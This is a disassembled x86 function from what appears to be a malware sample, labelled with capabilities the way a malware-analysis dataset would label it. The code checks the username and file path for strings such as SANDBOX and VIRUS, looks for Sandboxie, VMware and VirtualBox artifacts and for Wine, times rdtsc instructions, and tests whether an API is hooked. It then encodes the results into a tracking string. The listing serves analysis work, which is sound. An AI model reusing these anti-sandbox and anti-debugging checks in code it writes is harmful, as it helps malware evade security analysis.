Function at 0x402892
Capabilities:
Check for sandbox and av modules
Check for sandbox username or hostname
Check if file exists
Check if process is running under wine
Execute anti-debugging instructions
Get file attributes
Get session user name

Disassembly:
push 0x218
mov eax, 0x4250c1
call fcn.004115f3
mov dword [ebp - 0x220], ecx
mov ebx, dword [ebp + 8]
and dword [ebp - 0x224], 0
and dword [ebp - 4], 0
push ecx
lea ecx, [ebp - 0x214]
mov dword [ebp - 0x21c], ebx
xor esi, esi
call fcn.00402bc2
push ecx
push ecx
lea ecx, [ebp - 0x214]
call fcn.004032a3
mov edx, str._Track_
lea ecx, [ebp - 0x204]
mov byte [ebp - 4], 1
call fcn.00403ca0
lea eax, [ebp - 0x11c]
push eax
lea eax, [ebp - 0x118]
push eax
mov dword [ebp - 0x11c], 0x104
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov edi, dword [sym.imp.SHLWAPI.dll_StrStrIA]
push str.SANDBOX
lea eax, [ebp - 0x118]
push eax
call edi
test eax, eax
jne 0x402944
push 0x42cff8
lea eax, [ebp - 0x118]
push eax
call edi
test eax, eax
jne 0x402944
push str.MALWARE
lea eax, [ebp - 0x118]
push eax
call edi
test eax, eax
je 0x402947
xor esi, esi
inc esi
push 0x104
lea eax, [ebp - 0x118]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push str.SAMPLE
lea eax, [ebp - 0x118]
push eax
call edi
test eax, eax
jne 0x402991
push str.VIRUS
lea eax, [ebp - 0x118]
push eax
call edi
test eax, eax
jne 0x402991
push str.SANDBOX
lea eax, [ebp - 0x118]
push eax
call edi
test eax, eax
je 0x402994
add esi, 2
push str.sbiedll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x4029a6
add esi, 4
mov ecx, dword [ebp - 0x220]
call fcn.00402df0
test al, al
je 0x4029b8
add esi, 8
call fcn.00402f09
test al, al
je 0x4029c4
add esi, 0x10
and dword [ebp - 0x11c], 0
and dword [ebp - 0x218], 0
rdtsc
mov dword [ebp - 0x11c], eax
rdtsc
mov dword [ebp - 0x218], eax
mov eax, dword [ebp - 0x218]
sub eax, dword [ebp - 0x11c]
cmp eax, 0x64
seta al
test al, al
je 0x4029fb
add esi, 0x20
mov eax, dword [sym.imp.KERNEL32.dll_DeleteFileW]
cmp byte [eax], 0xff
jne 0x402a1b
cmp byte [eax + 1], 0x25
jne 0x402a1b
mov eax, dword [eax + 2]
mov eax, dword [eax]
cmp byte [eax], 0x8b
jne 0x402a1e
cmp byte [eax + 1], 0xff
jne 0x402a1e
add esi, 0x40
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push str.C:WINDOWS_system32drivers_vmmouse.sys
call edi
cmp eax, 0xffffffff
jne 0x402a48
push str.C:WINDOWS_system32drivers_vmhgfs.sys
call edi
cmp eax, 0xffffffff
jne 0x402a48
push str.C:WINDOWS_system32driversVBoxMouse.sys
call edi
cmp eax, 0xffffffff
je 0x402a4b
sub esi, 0xffffff80
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x402a6d
push str.wine_get_unix_file_name
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
setne al
jmp 0x402a6f
xor al, al
test al, al
je 0x402a79
add esi, 0x100
mov ecx, dword [ebp - 0x220]
call fcn.00402faa
test al, al
je 0x402a8e
add esi, 0x200
push esi
lea eax, [ebp - 0x134]
push eax
call fcn.004027a9
mov byte [ebp - 4], 2
cmp dword [ebp - 0x124], 9
ja 0x402af5
and dword [ebp - 0x13c], 0
push 0xa
pop edi
sub edi, dword [ebp - 0x124]
mov dword [ebp - 0x138], 0xf
mov byte [ebp - 0x14c], 0
mov byte [ebp - 4], 3
xor esi, esi
cmp esi, edi
jae 0x402ae6
mov edx, 0x42cb6c
lea ecx, [ebp - 0x204]
call fcn.00403ca0
inc esi
jmp 0x402acf
lea ecx, [ebp - 0x14c]
mov byte [ebp - 4], 2
call fcn.00402331
lea edx, [ebp - 0x134]
lea ecx, [ebp - 0x204]
call fcn.00403e55
mov edx, 0x42cb80
lea ecx, [ebp - 0x204]
call fcn.00403ca0
lea eax, [ebp - 0x164]
push eax
lea ecx, [ebp - 0x214]
call fcn.00403380
and dword [ebx + 0x10], 0
lea eax, [ebp - 0x164]
mov dword [ebx + 0x14], 0xf
push eax
mov ecx, ebx
mov byte [ebx], 0
call fcn.004022e3
lea ecx, [ebp - 0x164]
call fcn.00402331
lea ecx, [ebp - 0x134]
call fcn.00402331
lea ecx, [ebp - 0x1ac]
mov byte [ebp - 4], 0
call fcn.00403351
lea eax, [ebp - 0x1ac]
push eax
mov dword [ebp - method.std::basic_ios_char__struct_std::char_traits_char__.virtual_0], vtable.std::ios_base.0
call fcn.0040c231
pop ecx
mov eax, ebx
jmp 0x402ba0
call fcn.00411545
ret 4